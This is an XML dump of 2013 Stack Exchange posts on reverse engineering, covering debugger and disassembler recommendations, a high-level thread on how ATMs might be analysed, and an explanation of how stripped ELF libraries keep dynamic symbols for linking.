  <row Id="2022" PostTypeId="2" ParentId="2019" CreationDate="2013-05-08T06:00:43.900" Score="2" Body="&lt;p&gt;I would like to separate questions here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. How to debug service:&lt;/strong&gt; answer of Igor is covering it. In  basic - You may use any debugger, that You familiar with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. How to capture network traffic of malware (that run as a service):&lt;/strong&gt; answer of cb88 is covering it. Any network sniffer able to capture communications of services. To capture traffic from service start:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;stop service&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;enable network sniffer&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;start service&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2013-05-08T06:00:43.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2023" PostTypeId="1" AcceptedAnswerId="2024" CreationDate="2013-05-08T13:31:05.560" Score="10" ViewCount="1942" Body="&lt;p&gt;This question is using ATMs as an example, but it could apply to any number of 'secure' devices such as poker machines, E-voting machines, payphones etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that ATMs are relatively hardened (in comparison to say, most consumer electronics for example), what would be the process of reverse engineering a device in a black-box AND limited access scenario?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that traditionally, an end user of a device such as an ATM will only ever have access to the keypad/screen/card input/cash outlet (at a stretch, access to perhaps the computer housed in the top of the plastic casing(think private ATMs at small stores etc)), it seems like most attack vectors are quite limited. Under these types of circumstances, what could be done to reverse, understand and potentially exploit hardened, limited access systems?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the 'ace up the sleeve' kind of situation here physical access to the ATM components? Or is there a way to RE a device from within the environment a user is presented?&lt;/p&gt;&#xA;" OwnerUserId="275" LastEditorUserId="107" LastEditDate="2013-05-08T18:45:56.530" LastActivityDate="2013-05-10T12:27:38.100" Title="How to reverse engineer an ATM?" Tags="|hardware|security|physical-attacks|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2024" PostTypeId="2" ParentId="2023" CreationDate="2013-05-08T14:36:49.120" Score="11" Body="&lt;p&gt;Some information might be found in Barnaby Jack's BlackHat presentation: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=Ss_RWctTARU&quot; rel=&quot;nofollow&quot;&gt;Jackpotting Automated Teller Machines (Youtube)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The most prevalent attacks on Automated Teller Machines typically involve the use of card skimmers, or the physical theft of the machines themselves. Rarely do we see any targeted attacks on the underlying software. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can't find the presentation or the whitepaper atm (no pun intended), but I'm sure you'll get some information/directins from the talk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from this kind of reversing where you can do whatever you want with the machine, if you just have limited access to it (can't open it or whatever), I guess your best bet would be to play around with what's available. Some of those machines have USB ports for peripherals with which you could play. Something like &lt;a href=&quot;http://www.pjrc.com/teensy/&quot; rel=&quot;nofollow&quot;&gt;Teensy&lt;/a&gt; might come in handy for automating stuff. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, most of those machines can be connected to some sort of a network, so scanning, sniffing and similar tricks could yield more results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be careful with what (or who's machines ) you play with, don't be &lt;a href=&quot;http://web.archive.org/web/20130423212041/http://labofapenetrationtester.blogspot.in/2013/04/what-bored-hacker-did-on-plane.html&quot; rel=&quot;nofollow&quot;&gt;this guy&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="304" LastEditDate="2013-05-10T12:27:38.100" LastActivityDate="2013-05-10T12:27:38.100" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="2025" PostTypeId="2" ParentId="2023" CreationDate="2013-05-08T15:37:46.063" Score="5" Body="&lt;p&gt;You can't do much without physical access, if not to the specific machine you're attacking then to the same or similar model. That's what Barnaby Jack did - he ordered 3 ATM machines and investigated them at home. I suppose there may be service menus reachable from the normal screen by some key combinations but I wouldn't count on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you know the specific system you can look for the ways in. E.g. supposedly some POS terminals (possibly ATMs too) &lt;a href=&quot;http://www.finextra.com/community/fullblog.aspx?blogid=6781&quot;&gt;can be attacked with a &quot;Trojaned&quot; card&lt;/a&gt;, though I'm kinda skeptical about such claims. A probably more plausible attack is to find the dial-up line the ATM is connected to, and log in into it using a default/factory password, or via a vulnerability in the login process or the network protocol.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-05-08T15:37:46.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2026" PostTypeId="2" ParentId="1392" CreationDate="2013-05-08T16:15:01.747" Score="8" Body="&lt;p&gt;&lt;a href=&quot;http://cgdb.github.io&quot; rel=&quot;nofollow noreferrer&quot;&gt;cgdb&lt;/a&gt; is also a great option if you use Vim.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cgdb shares a lot of commands with vim, such as regex search and many others. From the cgdb home page: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The keyboard interface is modeled after vim, so vim users should feel at home using cgdb.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1945" LastEditorUserId="245" LastEditDate="2020-01-24T09:58:54.053" LastActivityDate="2020-01-24T09:58:54.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2027" PostTypeId="2" ParentId="2005" CreationDate="2013-05-08T20:10:18.600" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;http://kpnc.org/idr32/en/index.htm&quot; rel=&quot;nofollow&quot;&gt;IDR&lt;/a&gt; (Interactive Delphi Reconstractor) in order to asssists you in the delphi code RE process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a great tool.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2013-05-08T20:10:18.600" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2028" PostTypeId="2" ParentId="1999" CreationDate="2013-05-09T12:22:44.337" Score="10" Body="&lt;p&gt;&lt;a href=&quot;https://bitbucket.org/larry/maynard&quot;&gt;Maynard&lt;/a&gt; is a (dis)assembler for Python byte code written by a member of Python core and the release manager for Python 3.4. Reading material &lt;a href=&quot;https://lwn.net/Articles/544787/&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/watch?v=CKu6d_v4Pqo&quot;&gt;here&lt;/a&gt;. I'm not aware of a public tool (besides the one you linked) that can do CFG visualization like that, but you certainly could build one on top of Maynard.&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2013-05-09T12:22:44.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2029" PostTypeId="2" ParentId="133" CreationDate="2013-05-09T13:46:05.760" Score="3" Body="&lt;p&gt;There is an &lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/Adobe_Flash_disassembler&quot; rel=&quot;nofollow&quot;&gt;IDA Pro plugin&lt;/a&gt; that allows you to disassemble SWF files just like any other executable.&lt;/p&gt;&#xA;" OwnerUserId="1423" LastActivityDate="2013-05-09T13:46:05.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2030" PostTypeId="2" ParentId="1977" CreationDate="2013-05-09T17:14:57.980" Score="7" Body="&lt;h2&gt;With source&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You could use something like &lt;a href=&quot;http://research.sensepost.com/tools/mobile/xapspy&quot;&gt;XAPSpy&lt;/a&gt; and &lt;a href=&quot;https://github.com/andreycha/tangerine&quot;&gt;Tangerine&lt;/a&gt; on Github which is updated to work with WP8. It may work without source not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XAPSpy Source: &lt;a href=&quot;https://github.com/sensepost/XAPSpy&quot;&gt;Github&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Without source&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Something more advanced is need something more like &lt;a href=&quot;http://www.securityninja.co.uk/application-security/windows-phone-app-analyser-v1-0-released-today-2/&quot;&gt;Windows Phone App Analyser&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download/Source: &lt;a href=&quot;http://sourceforge.net/projects/wpaa/&quot;&gt;SourceForge&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would imagine you could use them both together by decompliling the .xap you are working with with WPPA and then using XAPSpy on that source. I've never tried that though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly if you are dealing with a newer app you won't be able &#xA;to decompile it as &lt;a href=&quot;http://forum.xda-developers.com/showthread.php?t=2140706&quot;&gt;they are encrypted&lt;/a&gt;. You might be able to somehow get the keys out of the operating system but that would be difficult as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a set of slides on the topic: &lt;a href=&quot;http://www.slideshare.net/AndreyChasovskikh/inspection-of-windows-phone-applications&quot;&gt;Inspection of Windows Phone Applciations&lt;/a&gt; that goes into some detail about tangerine.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-05-09T20:06:40.433" LastActivityDate="2013-05-09T20:06:40.433" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2031" PostTypeId="2" ParentId="133" CreationDate="2013-05-09T18:11:50.467" Score="11" Body="&lt;p&gt;First I would recommend reading through the specifications of the SWF file format and ActionScript. I wouldn't recommend reading it all (it does get boring). Just the first three or four chapters. This will help with having a foundation of knowledge for the structure and keywords. Here are the two I would recommend.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wwwimages.adobe.com/www.adobe.com/content/dam/Adobe/en/devnet/swf/pdf/swf-file-format-spec.pdf&quot;&gt;SWF File Format&lt;/a&gt; PDF, &lt;a href=&quot;http://www.adobe.com/content/dam/Adobe/en/devnet/actionscript/articles/avm2overview.pdf&quot;&gt;ActionScript Virtual Machine 2 (AVM2) Overview&lt;/a&gt; PDF&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have a basis of knowledge check out some posts on Flash Exploits. Here is a list of posts in no particular order or value &lt;a href=&quot;http://x9090.blogspot.com/2009/05/swf-exploit-analysis-part-1.html&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;http://www.h-online.com/security/features/CSI-Internet-Matryoshka-in-Flash-1057907.html&quot;&gt;2&lt;/a&gt;, &lt;a href=&quot;http://blog.threatexpert.com/2008/05/flash-exploit-goes-wild.html&quot;&gt;3&lt;/a&gt;, &lt;a href=&quot;http://zarestel.blogspot.com/2008/06/just-quick-one-on-swf-exploit-cve-2007.html&quot;&gt;4&lt;/a&gt;, &lt;a href=&quot;http://www.fireeye.com/blog/technical/cyber-exploits/2009/07/actionscript_heap_spray.html&quot;&gt;5&lt;/a&gt;, &lt;a href=&quot;http://www.vupen.com/blog/20110326.Technical_Analysis_and_Win7_Exploitation_Adobe_Flash_0Day_CVE-2011-0609.php&quot;&gt;6&lt;/a&gt;, &lt;a href=&quot;http://community.websense.com/blogs/securitylabs/archive/2010/06/09/having-fun-with-adobe-0-day-exploits.aspx&quot;&gt;7&lt;/a&gt;. Searching the &lt;a href=&quot;http://www.reddit.com/r/ReverseEngineering/search?q=flash&amp;amp;restrict_sr=on&amp;amp;sort=relevance&amp;amp;t=all&quot;&gt;RE Reddit&lt;/a&gt; is also another good resource for SWF/Flash analysis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For better or for worse a lot of great work has been done by the exploit community for reverse engineering SWF/ActionScript/Flash/etc. There a number of researchers I would recommend google stalking their work. Haifei Li is one notable individual. A quick google search for filetype:PDF + &quot;Haifei Li&quot; will bring up a lot of great resources. Example: &lt;a href=&quot;http://www.fortiguard.com/files/CanSecWest2011_Flash_ActionScript.pdf&quot;&gt;link&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF you are sick of reading I'd recommend downloading some samples. &lt;a href=&quot;http://contagiodump.blogspot.com/&quot;&gt;Contagiodump&lt;/a&gt; is a good place to grab samples. Typically the sample have the proper CVE number. This can be helpful because a quick google of CVE-number + &quot;analysis&quot; will allow you to do the at home follow along version. Of course you will need tools. I personally would recommend &lt;a href=&quot;http://zeltser.com/remnux/&quot;&gt;REMnux&lt;/a&gt; by Lenny Zeltser. Almost all the tools listed in this thread are already installed in it. If you are working with SWFs embedded in documents I'd recommend &lt;a href=&quot;http://hooked-on-mnemonics.blogspot.com/2011/12/xxxswfpy.html&quot;&gt;xxxswf.py&lt;/a&gt; for extracting them. The source code isn't that badly commented so it will give you some basics about the file structure. &lt;em&gt;Disclaimer: my tool.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of tools that aren't listed that I'd recommend is Flash Decompiler by &lt;a href=&quot;http://www.flash-decompiler.com/&quot;&gt;Trillix&lt;/a&gt; and &lt;a href=&quot;http://code.google.com/p/opengg-clean-player/downloads/detail?name=Yogda.1.0.564.zip&amp;amp;can=2&amp;amp;q=&quot;&gt;Yogoda&lt;/a&gt;. Both of these tools are for Windows. &lt;/p&gt;&#xA;" OwnerUserId="1425" LastActivityDate="2013-05-09T18:11:50.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2032" PostTypeId="2" ParentId="2023" CreationDate="2013-05-10T06:07:58.770" Score="5" Body="&lt;p&gt;All ATMs that I am aware of and have worked on in a past life have a way to get into 'admin' mode either from the front or a rear keypad.  Methods vary.  Sniffing a network probably won't help as the communication is encrypted.&#xA;That said, buy one:&#xA;&lt;a href=&quot;http://www.atmexperts.com/used_atm_machines.html&quot;&gt;http://www.atmexperts.com/used_atm_machines.html&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.bellatm.net/Default.asp&quot;&gt;http://www.bellatm.net/Default.asp&lt;/a&gt;&#xA;Then you'll have all the time and access you could want - and, unless you misuse anything learned, will avoid prison.&lt;/p&gt;&#xA;" OwnerUserId="1960" LastActivityDate="2013-05-10T06:07:58.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2033" PostTypeId="1" CreationDate="2013-05-10T07:21:23.123" Score="2" ViewCount="468" Body="&lt;p&gt;I was looking at some MITRE projects and was wondering what you thought about, and if anyone was using or contributing to, the MITRE Malware Attribute Enumeration and Characterization project: &lt;a href=&quot;https://maec.mitre.org/&quot; rel=&quot;nofollow&quot;&gt;https://maec.mitre.org/&lt;/a&gt;.  Do you see the potential for widespread adoption?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me, it looks interesting from the description:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;International in scope and free for public use, MAEC is a standardized&#xA;  language for encoding and communicating high-fidelity information&#xA;  about malware based upon attributes such as behaviors, artifacts, and&#xA;  attack patterns. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;By eliminating the ambiguity and inaccuracy that currently exists in&#xA;  malware descriptions and by reducing reliance on signatures, MAEC aims&#xA;  to improve human-to-human, human-to-tool, tool-to-tool, and&#xA;  tool-to-human communication about malware; reduce potential&#xA;  duplication of malware analysis efforts by researchers; and allow for&#xA;  the faster development of countermeasures by enabling the ability to&#xA;  leverage responses to previously observed malware instances.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But it also looks fairly complicated, which might limit widespread adoption.  &lt;/p&gt;&#xA;" OwnerUserId="1960" LastEditorUserId="60" LastEditDate="2013-05-10T14:36:38.077" LastActivityDate="2013-05-10T14:36:38.077" Title="MITRE MAEC (Malware Attribute Enumeration and Characterization) opinions and usage" Tags="|tools|malware|" AnswerCount="0" CommentCount="4" ClosedDate="2013-05-11T09:30:40.303" ContentLicense="CC BY-SA 3.0" />
  <row Id="2034" PostTypeId="1" CreationDate="2013-05-10T14:09:04.253" Score="4" ViewCount="573" Body="&lt;p&gt;So I want to know is such tool exist without counting IDA PRO. And is there any GUI version of it if exist - because I really don't want to debugging with terminal. My OS X version is Snow Leopard. I want to disassemble and debug an PowerPC app which runs with Rosetta on OS X 10.6.&lt;/p&gt;&#xA;" OwnerUserId="1966" LastActivityDate="2013-05-10T14:34:21.007" Title="OS X Power PC RE tool (debugger/disassembler)" Tags="|ida|debuggers|osx|disassemblers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2035" PostTypeId="2" ParentId="2034" CreationDate="2013-05-10T14:34:21.007" Score="1" Body="&lt;p&gt;Haven't tried it myself but I've heard about &lt;strong&gt;otx&lt;/strong&gt; (object tool extended):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;otx stands for &quot;object tool extended&quot;. It uses otool (object tool) to&#xA;  disassemble a Mach-O executable file, then enhances the disassembled&#xA;  output. Simple enhancements include adding the machine code of each&#xA;  instruction and the offset of each instruction from the beginning of a&#xA;  function. More complicated enhancements include displaying the names&#xA;  and data types of Objective-C methods even if symbols have been&#xA;  stripped, and adding comments that describe member variables, function&#xA;  calls, static data and more.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://otx.osxninja.com/&quot; rel=&quot;nofollow&quot;&gt;http://otx.osxninja.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-05-10T14:34:21.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2036" PostTypeId="1" AcceptedAnswerId="2037" CreationDate="2013-05-10T23:22:18.610" Score="12" ViewCount="3540" Body="&lt;p&gt;I am after a java bytecode disassembler whose output includes the bytecodes themselves, their operands, and their addresses in the .class file, and which displays numbers in hex, not decimal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To show what I mean, here are a few lines taken from the output of javap:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private java.text.SimpleDateFormat createTimeFormat();&#xA;  Code:&#xA;   Stack=3, Locals=2, Args_size=1&#xA;   0:    new    #84; //class java/text/SimpleDateFormat&#xA;   3:    dup&#xA;   4:    ldc    #17; //String yyyy-MM-dd'T'HH:mm:ss&#xA;   6:    invokespecial    #87; //Method java/text/SimpleDateFormat.&quot;&amp;lt;init&amp;gt;&quot;:(Ljava/lang/String;)V&#xA;   9:    astore_1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Every java bytecode disassembler I have found (I have spent much time on google, and downloaded several different ones to try) produces output which is essentially the same as this. Some format or decorate it slightly differently; some replace the command line interface with a fancy GUI; but not one of them displays the addresses of the instructions in the .class file, nor the bytecodes themselves - there are several which &lt;em&gt;claim&lt;/em&gt; to show the bytecodes, but none of them actually do, they display only the textual mnemonics representing the bytecodes rather than the bytecodes themselves. Also, they all display the numerical information in decimal, not in hex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an edited version of the above output which I have transformed by hand to produce an example of the sort of thing I am looking for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private java.text.SimpleDateFormat createTimeFormat();&#xA;  Code:&#xA;   Stack=3, Locals=2, Args_size=1&#xA;000010cf    0:    bb 00 54    new    #54; //class java/text/SimpleDateFormat&#xA;000010d2    3:    59          dup&#xA;000010d3    4:    12 11       ldc    #11; //String yyyy-MM-dd'T'HH:mm:ss&#xA;000010d5    6:    b7 00 57    invokespecial    #57; //Method java/text/SimpleDateFormat.&quot;&amp;lt;init&amp;gt;&quot;:(Ljava/lang/String;)V&#xA;000010d8    9:    4c          astore_1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The addresses at the start of the lines correspond to the position of the instructions in the .class file, as one would find in a plain hexdump. The hex representations of the bytecodes and their operands are shown, and the disassembly shows the constants in hex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything available which would produce output resembling this? It does not matter if the fields are in a different order, as long as they are all there. It must run on Linux, either natively or under java.&lt;/p&gt;&#xA;" OwnerUserId="1968" LastActivityDate="2013-05-30T14:22:06.123" Title="Wanted: Java bytecode disassembler that shows addresses, opcodes, operands, in hex" Tags="|java|hex|disassemblers|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2037" PostTypeId="2" ParentId="2036" CreationDate="2013-05-11T01:18:31.987" Score="14" Body="&lt;p&gt;Maybe &lt;a href=&quot;http://radare.org&quot; rel=&quot;noreferrer&quot;&gt;radare2&lt;/a&gt; is what you're looking for. See this screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S5thj.png&quot; alt=&quot;radare2 decompiling java bytecode&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1969" LastEditorUserId="53" LastEditDate="2013-05-11T07:18:42.370" LastActivityDate="2013-05-11T07:18:42.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2038" PostTypeId="1" AcceptedAnswerId="2040" CreationDate="2013-05-11T10:09:14.170" Score="12" ViewCount="5356" Body="&lt;p&gt;Lately I've been reversing the Android framework for the Nexus S mobile phone.&#xA;99% of the source code is of course open, but there are few propriety shared libraries which needs to be downloaded in order to compile the operating system.&#xA;These shared libraries are stripped from symbols and suddenly I came to understand that I don't really understand how stripped libraries are linked against. How can the linker match referenced library functions if the symbols don't exist?&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="107" LastEditDate="2013-05-17T07:56:33.383" LastActivityDate="2013-05-17T07:56:33.383" Title="How are stripped shared libraries linked against?" Tags="|linux|elf|libraries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2039" PostTypeId="1" AcceptedAnswerId="2041" CreationDate="2013-05-11T11:16:55.810" Score="8" ViewCount="137" Body="&lt;p&gt;I was trying to change the values of a Flash game which loads the SWF and some JSON over a HTTPS site. So changing the values of JSON was not possible using browser cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed the values of that JSON by editing the memory of the Adobe Flash process by loading it in &lt;a href=&quot;http://mh-nexus.de/en/hxd/&quot; rel=&quot;nofollow&quot;&gt;HxD&lt;/a&gt;. Still I wasn't able to see the changed values inside Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody guide as to what protects the changed values from reflecting?&lt;/p&gt;&#xA;" OwnerUserId="1383" OwnerDisplayName="Novice User" LastEditorUserId="13506" LastEditDate="2018-06-18T20:47:03.890" LastActivityDate="2018-06-18T20:47:03.890" Title="No apparent effect after editing some JSON in the memory of a Flash process" Tags="|flash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2040" PostTypeId="2" ParentId="2038" CreationDate="2013-05-11T12:53:14.280" Score="21" Body="&lt;p&gt;Even stripped libraries still must retain the symbols necessary for dynamic linking. These are usually placed in a section named &lt;code&gt;.dynsym&lt;/code&gt; and are also pointed to by the entries in the dynamic section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here's the output of &lt;code&gt;readelf&lt;/code&gt; on a stripped Android library:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Section Headers:&#xA;  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al&#xA;  [ 0]                   NULL            00000000 000000 000000 00      0   0  0&#xA;  [ 1] .hash             HASH            000000b4 0000b4 000280 04   A  2   0  4&#xA;  [ 2] .dynsym           DYNSYM          00000334 000334 0005b0 10   A  3   6  4&#xA;  [ 3] .dynstr           STRTAB          000008e4 0008e4 00042f 00   A  0   0  1&#xA;  [ 4] .rel.dyn          REL             00000d14 000d14 000008 08   A  2   2  4&#xA;  [ 5] .rel.plt          REL             00000d1c 000d1c 000100 08   A  2   6  4&#xA;  [ 6] .plt              PROGBITS        00000e24 000e24 000214 04  AX  0   0  4&#xA;  [ 7] .text             PROGBITS        00001038 001038 00210c 00  AX  0   0  8&#xA;  [ 8] .rodata           PROGBITS        00003144 003144 000a70 00   A  0   0  4&#xA;  [ 9] .ARM.extab        PROGBITS        00003bb4 003bb4 000024 00   A  0   0  4&#xA;  [10] .ARM.exidx        ARM_EXIDX       00003bd8 003bd8 000170 00  AL  7   0  4&#xA;  [11] .dynamic          DYNAMIC         00004000 004000 0000c8 08  WA  3   0  4&#xA;  [12] .got              PROGBITS        000040c8 0040c8 000094 04  WA  0   0  4&#xA;  [13] .data             PROGBITS        0000415c 00415c 000004 00  WA  0   0  4&#xA;  [14] .bss              NOBITS          00004160 004160 000940 00  WA  0   0  4&#xA;  [15] .ARM.attributes   ARM_ATTRIBUTES  00000000 004160 000010 00      0   0  1&#xA;  [16] .shstrtab         STRTAB          00000000 004170 000080 00      0   0  1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that even though it's missing the &lt;code&gt;.symtab&lt;/code&gt; section, the &lt;code&gt;.dynsym&lt;/code&gt; is still present. In fact, the section table can be removed as well (e.g. with &lt;code&gt;sstrip&lt;/code&gt;) and the file will still work. This is because the dynamic linker only uses the program headers (aka the segment table):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Program Headers:&#xA;  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align&#xA;  EXIDX          0x003bd8 0x00003bd8 0x00003bd8 0x00170 0x00170 R   0x4&#xA;  LOAD           0x000000 0x00000000 0x00000000 0x03d48 0x03d48 R E 0x1000&#xA;  LOAD           0x004000 0x00004000 0x00004000 0x00160 0x00aa0 RW  0x1000&#xA;  DYNAMIC        0x004000 0x00004000 0x00004000 0x000c8 0x000c8 RW  0x4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;DYNAMIC&lt;/code&gt; segment corresponds to the &lt;code&gt;.dynamic&lt;/code&gt; section and contains information for the dynamic linker:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Dynamic section at offset 0x4000 contains 21 entries:&#xA;  Tag        Type                         Name/Value&#xA; 0x00000001 (NEEDED)                     Shared library: [liblog.so]&#xA; 0x00000001 (NEEDED)                     Shared library: [libcutils.so]&#xA; 0x00000001 (NEEDED)                     Shared library: [libc.so]&#xA; 0x00000001 (NEEDED)                     Shared library: [libstdc++.so]&#xA; 0x00000001 (NEEDED)                     Shared library: [libm.so]&#xA; 0x0000000e (SONAME)                     Library soname: [libnetutils.so]&#xA; 0x00000010 (SYMBOLIC)                   0x0&#xA; 0x00000004 (HASH)                       0xb4&#xA; 0x00000005 (STRTAB)                     0x8e4&#xA; 0x00000006 (SYMTAB)                     0x334&#xA; 0x0000000a (STRSZ)                      1071 (bytes)&#xA; 0x0000000b (SYMENT)                     16 (bytes)&#xA; 0x00000003 (PLTGOT)                     0x40c8&#xA; 0x00000002 (PLTRELSZ)                   256 (bytes)&#xA; 0x00000014 (PLTREL)                     REL&#xA; 0x00000017 (JMPREL)                     0xd1c&#xA; 0x00000011 (REL)                        0xd14&#xA; 0x00000012 (RELSZ)                      8 (bytes)&#xA; 0x00000013 (RELENT)                     8 (bytes)&#xA; 0x6ffffffa (RELCOUNT)                   1&#xA; 0x00000000 (NULL)                       0x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The two entries here necessary for symbol resolution are &lt;code&gt;STRTAB&lt;/code&gt; and &lt;code&gt;SYMTAB&lt;/code&gt;. They together make up the dynamic symbol table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Symbol table '.dynsym' contains 91 entries:&#xA;   Num:    Value  Size Type    Bind   Vis      Ndx Name&#xA;     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND &#xA;     1: 00001038     0 SECTION LOCAL  DEFAULT    7 &#xA;     2: 00003144     0 SECTION LOCAL  DEFAULT    8 &#xA;     3: 00003bb4     0 SECTION LOCAL  DEFAULT    9 &#xA;     4: 0000415c     0 SECTION LOCAL  DEFAULT   13 &#xA;     5: 00004160     0 SECTION LOCAL  DEFAULT   14 &#xA;     6: 00000000     0 FUNC    GLOBAL DEFAULT  UND clock_gettime&#xA;     7: 000026e1    88 FUNC    GLOBAL DEFAULT    7 ifc_init&#xA;     8: 00000001    20 FUNC    GLOBAL DEFAULT  UND strcpy&#xA;     9: 00002d6d   140 FUNC    GLOBAL DEFAULT    7 open_raw_socket&#xA;     [...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that it contains both &lt;code&gt;UND&lt;/code&gt; (undefined) symbols - those required by the library and imported from other .so, and the &quot;normal&quot; global symbols which are exported by the library for its users. The exported symbols have their addresses inside the library listed in the Value column.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-05-11T12:53:14.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
